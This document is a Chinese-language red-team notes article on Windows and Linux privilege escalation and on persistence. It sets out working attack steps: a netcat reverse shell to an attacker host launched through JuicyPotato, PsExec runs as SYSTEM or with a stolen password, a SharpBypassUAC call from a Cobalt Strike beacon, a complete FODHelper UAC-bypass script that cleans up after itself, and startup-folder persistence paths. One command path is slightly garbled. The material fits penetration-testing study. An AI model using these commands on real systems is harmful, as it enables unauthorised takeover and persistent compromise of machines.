紅隊筆記 - 提權&權限維持
文章來源: Khan安全攻防實驗室
提權
Windows
通常會檢查我的權限 ( whoami /all) 和文件系統(tree /f /a來自C:\Users目錄)以獲取快速獲勝或有趣的文件(尤其是用戶主文件夾和/或 Web 目錄)。如果沒有找到任何東西,就會運行一個類似winPEAS.exe來識別任何漏洞。在枚舉結果中查找的內容:
默認憑據,嘗試將它們轉給其他用戶。
開放端口,有沒有只監聽 127.0.0.1 的服務?尋找漏洞。
運行軟件中尋找漏洞。
未加引號的服務路徑,你能寫一個惡意的二進制文件并重新啟動受影響的服務嗎?
可修改的服務二進制文件,他們SYSTEM是以管理員用戶身份運行還是以管理員用戶身份運行?
如果沒有明顯的結果WinPEAS,通常Invoke-AllChecks從PowerUp運行,它會執行類似的檢查,但有時也會捕獲其他漏洞。
如果所有其他方法都失敗了,我會開始尋找操作系統級別的漏洞利用,尤其是在較舊的系統上。Windows-Exploit-Suggester對此有所幫助:您可以從 Kali 運行它,并且只需要SystemInfo. 有時在谷歌上搜索確切操作系統版本的權限提升漏洞也有幫助。
爛土豆
如果您擁有SeImpersonatePrivilege并且操作系統版本早于Server 2019 或 Windows 10,則相關。通過使用中性二進制文件(例如nc.exe或nc64.exe來自此處),我取得了最大的成功。如果您bat使用命令調用創建文件,它應該會避開大多數 AV 并為您提供特權 shell。
# On target system, after copying required binaries
echo C:\tempc64.exe -e cmd.exe $LHOST 443 > rev.bat
.\JuicyPotato.exe -l 1337 -p C:\temp\rev.bat -t * -c {e60687f7-01a1-40aa-86ac-db1cbf673334}
UAC繞過
如果您是本地管理員,則相關,但whoami /all返回您正在“中等完整性進程”中運行。漏洞利用方法因操作系統版本而異。谷歌搜索特定版本的自動 UAC 繞過漏洞,或使用Windows-Exploit-Suggester或 metasploit 來識別可能的 UAC 繞過漏洞可能會成功。
本地管理員到系統
可以通過PsExec.exe來實現這一點,可以使用 Msfvenom 可執行文件代替rev.bat。
.\PsExec.exe -i -s "c:\temp\rev.bat"
如果你在 Windows 系統上有一個 shell 并且有另一個用戶的密碼,PsExec 也可以用來作為目標用戶執行程序。
.\PsExec.exe -user $USERNAME -p $PASSWORD "c:\temp\rev.bat"
使用SharpBypassUAC
# Generate EncodedCommandecho -n 'cmd /c start rundll32 c:\\users\\public\\beacon.dll,Update' | base64 # Use SharpBypassUAC e.g. from a CobaltStrike beaconbeacon> execute-assembly /opt/SharpBypassUAC/SharpBypassUAC.exe -b eventvwr -e Y21kIC9jIHN0YXJ0IHJ1bmRsbDMyIGM6XHVzZXJzXHB1YmxpY1xiZWFjb24uZGxsLFVwZGF0ZQ==
在某些情況下,運行手動 UAC 繞過可能會更好,例如在 PowerShell 中執行非常簡單的 FODHelper 繞過。
# The command to execute in high integrity context $cmd = "cmd /c start powershell.exe" # Set the registry values New-Item "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Force New-ItemProperty -Path "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Name "DelegateExecute" -Value "" -Force Set-ItemProperty -Path "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Name "(default)" -Value $cmd -Force # Trigger fodhelper to perform the bypass Start-Process "C:\Windows\System32\fodhelper.exe" -WindowStyle Hidden # Clean registry Start-Sleep 3 Remove-Item "HKCU:\Software\Classes\ms-settings\" -Recurse -Force
Linux
對于 Linux PrivEsc,通常運行sudo -l. 如果這導致我們可以運行某些命令(無需密碼或已知密碼)之后,開始查看文件系統(再次 - 主目錄和有趣的目錄,如/var/www/html)以查找多汁文件或包含憑據或線索的文件。通常,這可能會導致例如我們可以用來在本地轉儲數據庫的 MySQL 憑據。最后,我查看了我們所在的非默認組id。
在那之后,通常是通過自動化PrivEsc枚舉linPEAS或在某些情況下LINENUM。但是,強烈建議大家熟悉這些腳本執行的命令及其含義。這是幫助獲取態勢感知和手動識別漏洞的命令的極好參考。另外,我喜歡這里提出的高級問題- 我是誰?我可以讀、寫或執行什么?為了在 Linux 中有效提權,您必須回答的一些問題與 Windows 類似,有些則完全不同。一般來說,以下是一些經常相關的問題。
是否有任何正在運行的服務或程序看起來是非默認的?他們脆弱嗎?
特別注意以 root 用戶 ( ps auxww | grep root)運行的服務- 在許多情況下,這些可能是您的 root 路徑。例如,MySQL 是否以 root 身份運行?運行raptor_udf2。
哪些服務只在本地監聽?
文件或文件夾的權限是否配置錯誤?
是否有任何定時任務或計劃任務?誰來執行?
注意:如果您無法讀取 cron 文件,請嘗試pSpy - 它可能有助于識別重復的執行命令。
我們可以sudo在默認二進制文件上運行嗎?檢查它們的GTFOBins。
是否有任何二進制文件由 root 擁有并設置了 SUID 或 GUID?檢查它們的 GTFOBins。
是否有任何文件具有不受限制的 POSIX 功能(僅+ep),或我們可以用于 privesc 的其他有趣功能(例如cap_setuid或cap_dac_override)?
如果您發現任何以 root 身份循環運行的二進制文件,或者我們可以使用sudo提升的上下文或在提升的上下文中觸發的二進制文件:我們可以寫入該文件嗎?我們可以劫持路徑嗎?
同樣,內核漏洞利用應該是 PWK 權限提升的最后手段。識別內核版本uname并將其扔到 searchsploit 中應該在這方面有所幫助。
權限維持
啟動文件夾
只要放下一個二進制文件在當前用戶文件夾中,將在當前用戶登錄時觸發。
c:\Users\[USERNAME]\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup
或者在全局啟動文件夾中,需要管理權限,但在啟動時將作為SYSTEM觸發,并且只要有用戶登錄就會在用戶環境中觸發。
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp